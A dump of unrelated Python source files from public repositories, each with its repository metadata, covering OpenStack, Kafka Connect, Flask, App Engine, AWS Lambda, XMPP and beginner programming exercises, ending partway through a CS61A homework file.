# Copyright 2020 Soil, Inc. from soil.openstack.base import DataBase from soil.openstack.base import SourceBase class SnapshotData(DataBase): """A class for openstack snapshot data""" def __init__(self, data): self.data = data['snapshot'] class Snapshot(SourceBase): """A class for openstack snapshot""" def __init__(self, plugin, source_id): super(Snapshot, self).__init__(plugin, source_id) self._snapshot_obj = None @property def snapshot_obj(self): if self._snapshot_obj is not None: return self._snapshot_obj self._snapshot_obj = SnapshotData(self.show()) return self._snapshot_obj def show(self): return self.plugin.cinder.show_snapshot(self.source_id) def delete(self): self.plugin.cinder.delete_snapshot(self.source_id) def is_created(self): snapshot_info = self.show() status = snapshot_info['snapshot']['status'] if status in ('available', ): return True self._check_failed_status(status) return False def is_delete(self): pass

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0.636598

138

1,164

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0.102128

0.106383

0.059574

0.215603

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1,164

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0.823737

0.079897

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0.071429

0

0.029245

0

1

0.25

false

0.035714

0.071429

0.035714

0.571429

0

null

0

null

0

1

0

1

0acf5c8efa495629dab15411d7c1138e6f73ca8f

1,417

py

Python

data_structures/queue/queue_on_pseudo_stack.py

hank-chou/python

a9f729fa263bce599d2774f3f6afb5a18bcc9862

[ "MIT" ]

13

2021-03-11T00:25:22.000Z

2022-03-19T00:19:23.000Z

data_structures/queue/queue_on_pseudo_stack.py

hank-chou/python

a9f729fa263bce599d2774f3f6afb5a18bcc9862

[ "MIT" ]

162

2021-03-09T01:52:11.000Z

2022-03-12T01:09:07.000Z

data_structures/queue/queue_on_pseudo_stack.py

hank-chou/python

a9f729fa263bce599d2774f3f6afb5a18bcc9862

[ "MIT" ]

18

2020-02-09T13:00:11.000Z

2021-03-11T08:47:36.000Z

"""Queue represented by a pseudo stack (represented by a list with pop and append)""" class Queue: def __init__(self): self.stack = [] self.length = 0 def __str__(self): printed = "<" + str(self.stack)[1:-1] + ">" return printed """Enqueues {@code item} @param item item to enqueue""" def put(self, item): self.stack.append(item) self.length = self.length + 1 """Dequeues {@code item} @requirement: |self.length| > 0 @return dequeued item that was dequeued""" def get(self): self.rotate(1) dequeued = self.stack[self.length - 1] self.stack = self.stack[:-1] self.rotate(self.length - 1) self.length = self.length - 1 return dequeued """Rotates the queue {@code rotation} times @param rotation number of times to rotate queue""" def rotate(self, rotation): for i in range(rotation): temp = self.stack[0] self.stack = self.stack[1:] self.put(temp) self.length = self.length - 1 """Reports item at the front of self @return item at front of self.stack""" def front(self): front = self.get() self.put(front) self.rotate(self.length - 1) return front """Returns the length of this.stack""" def size(self): return self.length

24.431034

85

0.562456

180

1,417

4.383333

0.288889

0.152091

0.08365

0.076046

0.186312

0.058302

0

0.014463

0.316867

1,417

57

86

24.859649

0.80062

0.055752

0

0.133333

0

0.002158

0

1

0.233333

false

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0.033333

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0.066667

0

null

0

null

0

1

0

1

0ad19b186920402498e9734534abe48d50e505b7

2,154

py

Python

src/producers/connector.py

cvelas31/public_transportation_streaming

903a1a147645e1b0783555db4bfc02098f7941ae

[ "MIT" ]

null

src/producers/connector.py

cvelas31/public_transportation_streaming

903a1a147645e1b0783555db4bfc02098f7941ae

[ "MIT" ]

null

src/producers/connector.py

cvelas31/public_transportation_streaming

903a1a147645e1b0783555db4bfc02098f7941ae

[ "MIT" ]

null

"""Configures a Kafka Connector for Postgres Station data""" import json import logging import requests from settings import Settings logger = logging.getLogger(__name__) KAFKA_CONNECT_URL = f"{Settings.URLs.KAFKA_CONNECT_URL}/connectors" CONNECTOR_NAME = "stations" def configure_connector(): """Starts and configures the Kafka Connect connector""" logging.debug("Creating or updating kafka connect connector...") resp = requests.get(f"{KAFKA_CONNECT_URL}/{CONNECTOR_NAME}") if resp.status_code == 200: logging.debug("Connector already created skipping recreation") return config = { "connector.class": "io.confluent.connect.jdbc.JdbcSourceConnector", "key.converter": "org.apache.kafka.connect.json.JsonConverter", "key.converter.schemas.enable": "false", "value.converter": "org.apache.kafka.connect.json.JsonConverter", "value.converter.schemas.enable": "false", "topic.prefix": "com.connect.transportation.", "connection.url": "jdbc:postgresql://postgres:5432/cta", "connection.user": "cta_admin", "connection.password": "chicago", "batch.max.rows": "500", "table.whitelist": "stations", "poll.interval.ms": "5000", # Poll every 5 seconds "mode": "incrementing", "incrementing.column.name": "stop_id", } # TODO: Complete the Kafka Connect Config below. # Directions: Use the JDBC Source Connector to connect to Postgres. Load the `stations` table # using incrementing mode, with `stop_id` as the incrementing column name. # Make sure to think about what an appropriate topic prefix would be, and how frequently Kafka # Connect should run this connector (hint: not very often!) data = json.dumps({"name": CONNECTOR_NAME, "config": config}) resp = requests.post( KAFKA_CONNECT_URL, headers={"Content-Type": "application/json"}, data=data, ) # Ensure a healthy response was given resp.raise_for_status() logging.info("-------Connector created successfully-------") if __name__ == "__main__": configure_connector()

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98

0.679201

248

2,154

5.774194

0.532258

0.083799

0.041899

0.032123

0.065642

0

0.008656

0.19545

2,154

60

99

35.9

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0.243733

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0.220223

0

0.016667

0

1

0.025641

false

0.025641

0.102564

0

0.153846

0

null

0

null

0

1

0

1

0ad4a301cbaa49708e90318cda5d0db992bcc1f1

354

py

Python

controllers/albums.py

jeonginlee/groove_scheduler

84e61834e940e2ff138ffeeea61fd301f3c2a244

[ "MIT" ]

null

controllers/albums.py

jeonginlee/groove_scheduler

84e61834e940e2ff138ffeeea61fd301f3c2a244

[ "MIT" ]

null

controllers/albums.py

jeonginlee/groove_scheduler

84e61834e940e2ff138ffeeea61fd301f3c2a244

[ "MIT" ]

null

from flask import * albums = Blueprint('albums', __name__, template_folder='templates') @albums.route('/albums/edit') def albums_edit_route(): options = { "edit": True } return render_template("albums.html", **options) @albums.route('/albums') def albums_route(): options = { "edit": False } return render_template("albums.html", **options)

19.666667

67

0.700565

42

354

5.666667

0.428571

0.138655

0.142857

0.218487

0.310924

0

0.129944

354

18

68

19.666667

0.772727

0

0.285714

0

0.180282

0

1

0.142857

false

0

0.071429

0

0.357143

0.071429

0

null

0

1

0

null

0

1

0ad6db55250893c680ef209759e33e069cabdd9a

4,292

py

Python

modules/stackoverflow/models.py

tjsavage/polymer-dashboard

19bc467f1206613f8eec646b6f2bc43cc319ef75

[ "CNRI-Python", "Linux-OpenIB" ]

1

2017-04-26T18:51:43.000Z

modules/stackoverflow/models.py

tjsavage/polymer-dashboard

19bc467f1206613f8eec646b6f2bc43cc319ef75

[ "CNRI-Python", "Linux-OpenIB" ]

null

modules/stackoverflow/models.py

tjsavage/polymer-dashboard

19bc467f1206613f8eec646b6f2bc43cc319ef75

[ "CNRI-Python", "Linux-OpenIB" ]

null

import fix_path import json import datetime from google.appengine.ext import ndb # Taken from http://stackoverflow.com/questions/455580/json-datetime-between-python-and-javascript dthandler = lambda obj: ( obj.isoformat() if isinstance(obj, datetime.datetime) or isinstance(obj, datetime.date) else None ) class StackOverflowSnapshot(ndb.Model): """Example Model""" raw_timestamp = ndb.DateTimeProperty(required=True, auto_now_add=True) requested_time = ndb.DateTimeProperty(required=True) num_questions_by_tag = ndb.JsonProperty() num_tagged_questions = ndb.IntegerProperty() num_answered = ndb.IntegerProperty() num_unanswered = ndb.IntegerProperty() total_question_views = ndb.IntegerProperty() status = ndb.StringProperty() status_string = ndb.StringProperty() def as_dict(self): result = {} result['requested_time'] = dthandler(self.requested_time) result['num_tagged_questions'] = self.num_tagged_questions result['num_questions_by_tag'] = self.num_questions_by_tag result['num_answered'] = self.num_answered result['num_unanswered'] = self.num_unanswered result['total_question_views'] = self.total_question_views result['status'] = self.status result['status_string'] = self.status_string return result class StackOverflowQuestion(ndb.Model): first_seen = ndb.DateTimeProperty(required=True, auto_now_add=True) tags = ndb.StringProperty(repeated=True) is_answered = ndb.BooleanProperty() view_count = ndb.IntegerProperty() answer_count = ndb.IntegerProperty() url = ndb.StringProperty() title = ndb.StringProperty() creation_date = ndb.DateTimeProperty() question_id = ndb.IntegerProperty() def as_dict(self): result = {} result['first_seen'] = dthandler(self.first_seen) result['tags'] = [t for t in self.tags] result['is_answered'] = self.is_answered result['view_count'] = self.view_count result['answer_count'] = self.answer_count result['url'] = self.url result['title'] = self.title result['creation_date'] = dthandler(self.creation_date) result['question_id'] = self.question_id return result def update_to_stackexchange_question(self, stackexchange_question): updated = False if stackexchange_question.tags != self.tags: self.tags = stackexchange_question.tags updated = True if stackexchange_question.json['is_answered'] != self.is_answered: self.is_answered = stackexchange_question.json['is_answered'] updated = True if stackexchange_question.view_count != self.view_count: self.view_count = stackexchange_question.view_count updated = True if stackexchange_question.json['answer_count'] != self.answer_count: self.answer_count = stackexchange_question.json['answer_count'] updated = True if stackexchange_question.url != self.url: self.url = stackexchange_question.url updated = True if stackexchange_question.title != self.title: self.title = stackexchange_question.title updated = True if stackexchange_question.creation_date != self.creation_date: self.creation_date = stackexchange_question.creation_date updated = True if stackexchange_question.json['question_id'] != self.question_id: self.question_id = stackexchange_question.json['question_id'] updated = True return updated @classmethod def from_stackexchange_question(cls, stackexchange_question): result = cls( tags = [t for t in stackexchange_question.tags], is_answered = stackexchange_question.json['is_answered'], view_count = stackexchange_question.view_count, answer_count = stackexchange_question.json['answer_count'], url = stackexchange_question.url, title = stackexchange_question.title, creation_date = stackexchange_question.creation_date, question_id = stackexchange_question.json['question_id'] ) return result

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0.682199

467

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6.012848

0.188437

0.209402

0.080128

0.064815

0.389601

0.259972

0.12963

0.032051

0

0.001807

0.226468

4,292

106

99

40.490566

0.843976

0.025862

0

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0

0.071839

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0.043011

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0

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0

0.344086

0

null

1

0

null

0

1

0add5b092c6c665d2b618a20a05d4cd299d00402

1,948

py

Python

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

[ "Unlicense" ]

null

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

[ "Unlicense" ]

null

src/handler.py

MrIgumnov96/ETL-CloudDeployment

666b85a9350460fba49f82ec90f5cddc0bdd0235

[ "Unlicense" ]

null

import boto3 import src.app as app import csv import psycopg2 as ps import os from dotenv import load_dotenv load_dotenv() dbname = os.environ["db"] host = os.environ["host"] port = os.environ["port"] user = os.environ["user"] password = os.environ["pass"] connection = ps.connect(dbname=dbname, host=host, port=port, user=user, password=password) def handle(event, context): cursor = connection.cursor() cursor.execute("SELECT 1", ()) print(cursor.fetchall()) # Get key and bucket informaition key = event['Records'][0]['s3']['object']['key'] bucket = event['Records'][0]['s3']['bucket']['name'] # use boto3 library to get object from S3 s3 = boto3.client('s3') s3_object = s3.get_object(Bucket = bucket, Key = key) data = s3_object['Body'].read().decode('utf-8') all_lines = [] # read CSV # csv_data = csv.reader(data.splitlines()) # for row in csv_data: # datestr = row[0] #.replace('/', '-') # # print(datestr) # date_obj = datetime.strptime(datestr, '%d/%m/%Y %H:%M') # # print(date_obj) # # time = str(row[0][-5:]) # location = str(row[1]) # order = str(row[3]) # total = str(row[4]) # all_lines.append({'date':date_obj, 'location':location, 'order':order, 'total':total}) # return cached_list # print(all_lines) app.start_app(all_lines, data) print_all_lines = [print(line) for line in all_lines] print_all_lines return {"message": "success!!! Check the cloud watch logs for this lambda in cloudwatch https://eu-west-1.console.aws.amazon.com/cloudwatch/home?region=eu-west-1#logsV2:log-groups"} # Form all the lines of data into a list of lists # all_lines = [line for line in csv_data] # print(data) # print(all_lines)

31.419355

185

0.587269

259

1,948

4.324324

0.42471

0.064286

0.046429

0.026786

0

0.017446

0.264374

1,948

62

186

31.419355

0.764131

0.325975

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0.032258

0.186191

0

1

0.032258

false

0.064516

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0

0.258065

0.096774

0

null

0

null

0

1

0

1

0ae19706ac78f27bbbf84e3668bc38423a4a2fcd

739

py

Python

feaas/runners/__init__.py

tsuru/varnishapi

d63a8c8c5f9c837855509fc5af59d8213c1c91d6

[ "BSD-3-Clause" ]

3

2015-05-04T03:20:09.000Z

2016-02-19T10:35:35.000Z

feaas/runners/__init__.py

tsuru/varnishapi

d63a8c8c5f9c837855509fc5af59d8213c1c91d6

[ "BSD-3-Clause" ]

3

2015-01-02T13:18:56.000Z

2021-02-08T20:17:14.000Z

feaas/runners/__init__.py

tsuru/varnishapi

d63a8c8c5f9c837855509fc5af59d8213c1c91d6

[ "BSD-3-Clause" ]

5

2015-01-02T13:11:45.000Z

2016-08-26T06:14:35.000Z

# Copyright 2014 varnishapi authors. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. import time from feaas import storage class Base(object): def __init__(self, manager, interval, *locks): self.manager = manager self.storage = manager.storage self.interval = interval def init_locker(self, *lock_names): self.locker = storage.MultiLocker(self.storage) for lock_name in lock_names: self.locker.init(lock_name) def loop(self): self.running = True while self.running: self.run() time.sleep(self.interval) def stop(self): self.running = False

24.633333

57

0.649526

96

739

4.90625

0.5625

0.070064

0.055202

0.080679

0

0.007421

0.270636

739

29

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25.482759

0.866419

0.207037

0

1

0.222222

false

0

0.111111

0

0.388889

0

null

0

null

0

1

0

1

0ae880533e14de2255d5554b8a0bb6b7cbc5e1bb

1,089

py

Python

Assignment 1 n 2 Day 8.py

paju3125/LetsUpgrade-Python-B7

c5767361f60f1ec405ab235af85035e2bb9a71e3

[ "Apache-2.0" ]

null

Assignment 1 n 2 Day 8.py

paju3125/LetsUpgrade-Python-B7

c5767361f60f1ec405ab235af85035e2bb9a71e3

[ "Apache-2.0" ]

null

Assignment 1 n 2 Day 8.py

paju3125/LetsUpgrade-Python-B7

c5767361f60f1ec405ab235af85035e2bb9a71e3

[ "Apache-2.0" ]

null

# Assignment 1 Day 8 # write a decorator function for taking input for you # any kind of function you want to build def getInput(calculate_arg_fuc): def wrap_function(): print("Enter two numbers ") a=int(input("Enter first number = ")) b=int(input("Enter second number = ")) calculate_arg_fuc(a,b) return wrap_function @getInput def addition(num1,num2): print("Addition = ",num1+num2) @getInput def subtraction(num1,num2): print("Subtraction = ",num1-num2) @getInput def multiplication(num1,num2): print("Multiplication = ",num1*num2) @getInput def division(num1,num2): print("Division = ",num1/num2) addition() subtraction() multiplication() division() # Assignment 2 day 8 # you need to develop a python program to open a file in read only mode and # try writing something to it and handlethe subsequent errorusing Exception Handling try: f=open("abc.txt","r"); f.write("Heyy, i am prajval"); f.close(); except: print("File is in read only mode...")

22.22449

85

0.651974

146

1,089

4.821918

0.493151

0.090909

0.073864

0.080966

0

0.024067

0.236915

1,089

48

86

22.6875

0.823105

0.264463

0

0.137931

0

0.226542

0

1

0.206897

false

0

0.241379

0.206897

0

null

0

null

0

1

0

1

0af1a3c68967c05606abe6a22eb2bbc2a17f6f6f

1,164

py

Python

tests/serverless/checks/aws/test_AdminPolicyDocument.py

peaudecastor/checkov

a4804b61c1b1390b7abd44ab53285fcbc3e7e80b

[ "Apache-2.0" ]

null

tests/serverless/checks/aws/test_AdminPolicyDocument.py

peaudecastor/checkov

a4804b61c1b1390b7abd44ab53285fcbc3e7e80b

[ "Apache-2.0" ]

null

tests/serverless/checks/aws/test_AdminPolicyDocument.py

peaudecastor/checkov

a4804b61c1b1390b7abd44ab53285fcbc3e7e80b

[ "Apache-2.0" ]

null

import os import unittest from checkov.serverless.checks.function.aws.AdminPolicyDocument import check from checkov.serverless.runner import Runner from checkov.runner_filter import RunnerFilter class TestAdminPolicyDocument(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) # Used in os.environ["sneaky_var"] = "*" test_files_dir = current_dir + "/example_AdminPolicyDocument" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2, f"Passed checks: {[fc.file_path for fc in report.passed_checks]}") self.assertEqual(summary['failed'], 6, f"Failed checks: {[fc.file_path for fc in report.failed_checks]}") self.assertEqual(summary['skipped'], 0, f"Skipped checks: {[fc.file_path for fc in report.skipped_checks]}") self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main()

36.375

102

0.668385

137

1,164

5.445255

0.40146

0.080429

0.117962

0.064343

0.116622

0

0.00441

0.22079

1,164

31

103

37.548387

0.818082

0.006014

0

0.232035

0.082251

0

0.181818

1

0.045455

false

0.090909

0.227273

0

0.318182

0

null

0

null

0

1

0

1

0af3eac5180ad01027c97600a407eb3106203f56

349

py

Python

pythonProject/MUNDO 2/Desafio 54.py

lucasjlgc/Aulas-de-Python-

6aaed1c660487a680e9c449210600ccdfa326612

[ "MIT" ]

null

pythonProject/MUNDO 2/Desafio 54.py

lucasjlgc/Aulas-de-Python-

6aaed1c660487a680e9c449210600ccdfa326612

[ "MIT" ]

1

2021-06-25T15:29:11.000Z

pythonProject/MUNDO 2/Desafio 54.py

lucasjlgc/Aulas-de-Python-

6aaed1c660487a680e9c449210600ccdfa326612

[ "MIT" ]

null

#Leia o ano de nascimento de 7 pessoas e mostre quantas ja atingiram a maioridade e quantas ainda não for c in range(1,8): p=int(input('Qual o ano de seu nascimento? ')) a=2021-p if a>= 18: print('A pessoa numero {} já é maior de idade'.format(c)) else: print('A pessoa numero {} não é maior de idade!'.format(c))

29.083333

101

0.638968

63

349

3.539683

0.619048

0.035874

0.053812

0.161435

0.179372

0

0.034483

0.252149

349

11

102

31.727273

0.819923

0.286533

0

0.435484

0

1

0

false

0

0.285714

0

null

0

1

0

null

0

1

0af8af43646ac075b324487dffc3942d97354220

1,145

py

Python

examples/rpc_server_side.py

calendar42/SleekXMPP--XEP-0080-

d7bd5fd29f26a5d7de872a49ff63a353b8043e49

[ "BSD-3-Clause" ]

1

2016-10-24T05:30:25.000Z

examples/rpc_server_side.py

vijayp/SleekXMPP

b2e7f57334d27f140f079213c2016615b7168742

[ "BSD-3-Clause" ]

null

examples/rpc_server_side.py

vijayp/SleekXMPP

b2e7f57334d27f140f079213c2016615b7168742

[ "BSD-3-Clause" ]

null

""" SleekXMPP: The Sleek XMPP Library Copyright (C) 2011 Dann Martens This file is part of SleekXMPP. See the file LICENSE for copying permission. """ from sleekxmpp.plugins.xep_0009.remote import Endpoint, remote, Remote, \ ANY_ALL import threading class Thermostat(Endpoint): def FQN(self): return 'thermostat' def __init(self, initial_temperature): self._temperature = initial_temperature self._event = threading.Event() @remote def set_temperature(self, temperature): print("Setting temperature to %s" % temperature) self._temperature = temperature @remote def get_temperature(self): return self._temperature @remote(False) def release(self): self._event.set() def wait_for_release(self): self._event.wait() def main(): session = Remote.new_session('sleek@xmpp.org/rpc', '*****') thermostat = session.new_handler(ANY_ALL, Thermostat, 18) thermostat.wait_for_release() session.close() if __name__ == '__main__': main()

22.019231

73

0.627074

125

1,145

5.512

0.472

0.108853

0.113208

0.058055

0

0.012063

0.275983

1,145

52

74

22.019231

0.819059

0.125764

0

0.071429

0

0.067485

0

1

0.25

false

0

0.071429

0.428571

0.035714

0

null

0

null

0

1

0

1

0afbde7fb6ef3a1d965ab24316c2720252ada994

970

py

Python

csv2googlesheets/to_google_sheets.py

AlexSkrn/csv2googlesheets

71656dcc6827b1c58ffe80bc55aa6f1ee816f216

[ "MIT" ]

null

csv2googlesheets/to_google_sheets.py

AlexSkrn/csv2googlesheets

71656dcc6827b1c58ffe80bc55aa6f1ee816f216

[ "MIT" ]

null

csv2googlesheets/to_google_sheets.py

AlexSkrn/csv2googlesheets

71656dcc6827b1c58ffe80bc55aa6f1ee816f216

[ "MIT" ]

null

"""This module provides a console interface to convert CSV to Google Sheets.""" from csv2googlesheets.gapi_authorization import auth_with_google from csv2googlesheets.gapi_create_sheet import create_sheet from csv2googlesheets.gapi_write_to_sheet import write_to_sheet from csv2googlesheets.parse_file import build_spreadsheet_title from csv2googlesheets.parse_file import parse_file from csv2googlesheets.parse_cli_args import parse_cli_args def main(): """Control the flow of operations to write data from csv to G Sheets.""" cli_args = parse_cli_args() values = parse_file(path=cli_args.csv) spreadsheet_title = build_spreadsheet_title(cli_args.csv) google_service = auth_with_google(path_creds=cli_args.credentials_json) spreadsheet_id = create_sheet(google_service, spreadsheet_title) write_to_sheet( google_service, sheet_id=spreadsheet_id, values=values, ) if __name__ == '__main__': main()

32.333333

79

0.786598

131

970

5.427481

0.351145

0.068917

0.101266

0.081575

0.098453

0

0.007308

0.153608

970

29

80

33.448276

0.858709

0.14433

0

0.009768

0

1

0.052632

false

0

0.315789

0

0.368421

0

null

0

null

0

1

0

1

e40169279b6d0abaccc4f8f3610827c98bbcceff

6,197

py

Python

Overview/11 - funktsioonid.py

priidupaomets/python_kursus

731ab386ca40c321288659db21db23912ca7f8dd

[ "MIT" ]

1

2021-02-19T15:21:28.000Z

Overview/11 - funktsioonid.py

priidupaomets/python_kursus

731ab386ca40c321288659db21db23912ca7f8dd

[ "MIT" ]

null

Overview/11 - funktsioonid.py

priidupaomets/python_kursus

731ab386ca40c321288659db21db23912ca7f8dd

[ "MIT" ]

1

2018-03-24T11:01:46.000Z

""" funktsioonid.py Funktsioonide ja protseduuride kasutamine """ # # Protseduur # def minu_funktsioon(): print("See on protseduur") # Kutsume funktsiooni välja minu_funktsioon() # # Funktsioon # def liida(num1, num2): return num1 + num2 sum = liida(3, 5) print(sum) # Näide vaikeväärtuste kasutamisest # def funk(arg1 = väärtus1, arg2 = väärtus2) # pass def funk(arg1 = 0, arg2 = "Test"): print(arg1, arg2) funk() # Kutsume funktsiooni välja ilma argumente kaasa andmata # # Algarvude leidmine # def isprime(n): if n <= 1: return False for i in range(2, n): if n % i == 0: return False else: return True # Kustume funktsiooni testimiseks välja n = 5 if isprime(n): print(f"{n} ON algarv") # Kasutame f-formaatimisstringi, mis lubab muutuja otse stringi sisse panna else: print(f"{n} EI OLE algarv") def list_primes(max_num = 100): for n in range(2, max_num): if isprime(n): print(n, end = ' ', flush = True) print() list_primes() # # Muutuva arvu argumentidega funktsioonid # # Lisame lihtsalt uusi argumente def summa(num1, num2, num3): return num1 + num2 + num3 print(summa(1, 2, 3)) # Töötab print(summa(1, 2)) # Saame vea, kuna uus funktsioon nõuab 3 argumenti # Katsetame funktsiooni ülelaadimist (function overloading või method overloading) def summa(num1, num2): return num1 + num2 def summa(num1, num2, num3): return num1 + num2 + num3 print(summa(1, 2)) # Saame vea, kuna viimane def kirjutab eelmise üle print(summa(1, 2, 3)) # Katsetame vaikeväärtustega funktsioone def summa(num1, num2, num3 = 0, num4 = 0): return num1 + num2 + num3 + num4 print(summa(1, 2)) print(summa(1, 2, 3)) print(summa(1, 2, 3, 4)) #print(summa(1, 2, 3, 4, 5)) # Selle tööle saamiseks peame f-ni muutma def keskmine(num1, num2, num3 = 0, num4 = 0): sum = num1 + num2 + num3 + num4 # Sama, mis summa(num1, num2, num3, num4) argumente = 4.0 return sum / argumente print(keskmine(1, 2)) # Ilmselgelt vale tulemus (1.5 asemel 0.75) print(keskmine(1, 2, 3)) # Ka vale tulemus (2 asemel 1.5) print(keskmine(1, 2, 3, 4)) # Õige tulemus # Täiendame argumentide arvu leidmist def keskmine(num1, num2, num3 = 0, num4 = 0): sum = num1 + num2 + num3 + num4 # Sama, mis summa(num1, num2, num3, num4) argumente = 2.0 # Minimaalselt 2 if num3 > 0: argumente = argumente + 1 if num4 > 0: argumente = argumente + 1 return sum / argumente print(keskmine(1, 2)) # Õige tulemus print(keskmine(1, 2, 3)) # Õige tulemus print(keskmine(1, 2, 3, 4)) # Õige tulemus print(keskmine(1, 2, 3, 0)) # Vale tulemus! print(keskmine(1, 0, 3, 2)) # Õige tulemus!?! Kuidas see nüüd õige on - kas tulemus sõltub argumentide järjekorrast? # Kasutame teistsugust vaikeväärtust def keskmine(num1, num2, num3 = None, num4 = None): sum = num1 + num2 # Ei saa kohe 4 arg'i kokku liita argumente = 2.0 # Minimaalselt 2 if num3 is not None: argumente += 1 sum = sum + num3 if num4 is not None: argumente += 1 sum = sum + num4 return sum / argumente print(keskmine(1, 2)) # Õige tulemus print(keskmine(1, 2, 3)) # Õige tulemus print(keskmine(1, 2, 3, 4)) # Õige tulemus print(keskmine(1, 2, 3, 0)) # Õige tulemus! print(keskmine(1, 0, 3, 2)) # Õige tulemus # Proovime listiga argumente defineerida def summa(numbrid=[]): sum = 0 for num in numbrid: sum += num return sum #print(summa(1)) # Ei tööta, kuna pole itereeritav tüüp #print(summa(1, 2)) # Ei tööta, kuna pole massiiv arvud=[1, 2] print(summa(arvud)) arvud=[1, 2, 3] print(summa(arvud)) arvud=[1, 2, 3, 4] print(summa(arvud)) print(summa([1, 2, 3, 4, 5])) # Võime panna ka ilma vahemuutujata arvud=[1] print(summa(arvud)) def summa(*numbrid): sum = 0 for num in numbrid: sum += num return sum print(summa()) # Isegi see variant töötab print(summa(1)) print(summa(1, 2)) arvud=[1, 2] print(summa(*arvud)) # Ka siin tuleb '*' kasutada arvud=[1, 2, 3] print(summa(*arvud)) arvud=[1, 2, 3, 4] print(summa(*arvud)) arvud=[1, 2, 3, 4, 5] print(summa(*arvud)) arvud=[1] print(summa(*arvud)) # Erinevat sort argumendid def argfun(arg1, arg2, *args, kw1 = 1, kw2 = "True"): print(arg1, arg2, *args, kw1, kw2) argfun(1, 2, 3, 4, 5, kw1 = 10, kw2 = 12) def argfun(**kwargs): for (arg, val) in kwargs.items(): print(f"{arg}={val}", end = ' ') print() argfun(kw2 = 10, kw3 = 12, kw4 = 14) def argfun(arg1, arg2, *args, **kwargs): print(arg1, arg2, *args) for (arg, val) in kwargs.items(): print(f"{arg}={val}", end = ' ') print() argfun(1, 2, 3, 4, 5, kw2 = 10, kw3 = 12, kw4 = 14) def argfun(arg1, arg2, *args, kw1 = 1, kw2 = "True", **kwargs): print(arg1, arg2, *args, kw1, kw2) for (arg, val) in kwargs.items(): print(f"{arg}={val}", end = ' ') print() argfun(1, 2, 3, 4, 5, kw2 = 10, kw3 = 12, kw4 = 14) # Kuidas garanteerida, et argumentideks on numbrid? def numsum(*numbrid): sum = 0 for num in numbrid: if isinstance(num, int) or isinstance(num, float): sum += num return sum def numcount(*numbrid): count = 0 for num in numbrid: if isinstance(num, int) or isinstance(num, float): count += 1 return count def numavg(*numbrid): sum = numsum(*numbrid) count = numcount(*numbrid) return sum / (count * 1.0) # Võime jagatava teha float tüübiks print(numsum(1)) print(numsum(1, 2)) print(numsum(1, 2, 3)) print(numsum(1, 2, 3, "4")) print(numsum(1, None, 3, 4, 5)) print("-"*30) print(numcount(1)) print(numcount(1, 2)) print(numcount(1, 2, 3)) print(numcount(1, 2, 3, "4")) print(numcount(1, None, 3, 4, 5)) print("-"*30) print(numavg(1)) print(numavg(1, 2)) print(numavg(1, 2, 3)) print(numavg(1, 2, 3, "4")) print(numavg(1, None, 3, 4, 5)) print(numavg()) # Viga! Nulliga jagamine!!! # Vigade haldamist vaatame peatselt ka lähemalt

24.01938

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0.209607

0.021843

0.022376

0.015983

0.51252

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null

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null

0

1

0

1

e40722bed82cf8f0cac95ef9146f043dd3dc25ca

5,318

py

Python

05-Environments/hw02/hw02/hw02.py

ericchen12377/CS61A_LearningDoc

31f23962b0e2834795bf61eeb0f4884cc5da1809

[ "MIT" ]

2

2020-04-24T18:36:53.000Z

2020-04-25T00:15:55.000Z

05-Environments/hw02/hw02/hw02.py

ericchen12377/CS61A_LearningDoc

31f23962b0e2834795bf61eeb0f4884cc5da1809

[ "MIT" ]

null

05-Environments/hw02/hw02/hw02.py

ericchen12377/CS61A_LearningDoc

31f23962b0e2834795bf61eeb0f4884cc5da1809

[ "MIT" ]

null

""" Homework 2: Higher Order Functions""" HW_SOURCE_FILE = 'hw02.py' from operator import add, mul, sub square = lambda x: x * x identity = lambda x: x triple = lambda x: 3 * x increment = lambda x: x + 1 ###################### # Required Questions # ###################### def product(n, f): """Return the product of the first n terms in a sequence. n -- a positive integer f -- a function that takes one argument to produce the term >>> product(3, identity) # 1 * 2 * 3 6 >>> product(5, identity) # 1 * 2 * 3 * 4 * 5 120 >>> product(3, square) # 1^2 * 2^2 * 3^2 36 >>> product(5, square) # 1^2 * 2^2 * 3^2 * 4^2 * 5^2 14400 >>> product(3, increment) # (1+1) * (2+1) * (3+1) 24 >>> product(3, triple) # 1*3 * 2*3 * 3*3 162 """ "*** YOUR CODE HERE ***" result,k = 1,1 while k <= n: result,k = f(k)*result, k + 1 return result def accumulate(combiner, base, n, f): """Return the result of combining the first n terms in a sequence and base. The terms to be combined are f(1), f(2), ..., f(n). combiner is a two-argument commutative, associative function. >>> accumulate(add, 0, 5, identity) # 0 + 1 + 2 + 3 + 4 + 5 15 >>> accumulate(add, 11, 5, identity) # 11 + 1 + 2 + 3 + 4 + 5 26 >>> accumulate(add, 11, 0, identity) # 11 11 >>> accumulate(add, 11, 3, square) # 11 + 1^2 + 2^2 + 3^2 25 >>> accumulate(mul, 2, 3, square) # 2 * 1^2 * 2^2 * 3^2 72 >>> accumulate(lambda x, y: x + y + 1, 2, 3, square) 19 >>> accumulate(lambda x, y: 2 * (x + y), 2, 3, square) 58 >>> accumulate(lambda x, y: (x + y) % 17, 19, 20, square) 16 """ "*** YOUR CODE HERE ***" result, k = base,1 while k <= n: result, k = combiner(result,f(k)), k + 1 return result def summation_using_accumulate(n, f): """Returns the sum of f(1) + ... + f(n). The implementation uses accumulate. >>> summation_using_accumulate(5, square) 55 >>> summation_using_accumulate(5, triple) 45 >>> from construct_check import check >>> # ban iteration and recursion >>> check(HW_SOURCE_FILE, 'summation_using_accumulate', ... ['Recursion', 'For', 'While']) True """ "*** YOUR CODE HERE ***" # result, k = 0, 1 # while k <= n: # result, k = result + f(k), k + 1 return accumulate(add,0,n,f) def product_using_accumulate(n, f): """An implementation of product using accumulate. >>> product_using_accumulate(4, square) 576 >>> product_using_accumulate(6, triple) 524880 >>> from construct_check import check >>> # ban iteration and recursion >>> check(HW_SOURCE_FILE, 'product_using_accumulate', ... ['Recursion', 'For', 'While']) True """ "*** YOUR CODE HERE ***" # result, k = 1, 1 # while k <= n: # result, k = result * f(k), k + 1 return accumulate(mul,1,n,f) def compose1(h, g): """Return a function 